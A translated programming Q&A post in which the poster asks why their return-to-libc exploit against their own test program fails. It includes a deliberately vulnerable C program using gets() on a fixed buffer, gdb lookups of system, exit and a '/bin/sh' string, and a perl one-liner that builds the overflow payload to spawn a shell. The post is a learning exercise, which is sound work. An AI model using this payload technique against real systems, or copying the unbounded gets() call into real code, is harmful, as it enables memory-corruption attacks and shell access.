我遇到了 return-to-libc 漏洞利用的问题。问题是什么都没有发生,但没有分段错误(是的,我实际上溢出了堆栈)。
这是我的程序:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
我使用gets而不是strcopy,因为我的地址以0x00开头,而strcpy认为它是字符串的结尾,所以我不能使用它。
以下是我需要的地址:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
输入正确的序列时,会发生这种情况:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
所以什么都没有。
但是如果我输入 520 'A's (0x41),那么 EIP 就会被 'A's 溢出。如果有 516 'A',则没有任何反应,但 EIP 包含系统地址,在退出地址之后,在 /bin/sh 指针之后。
为什么什么都没发生?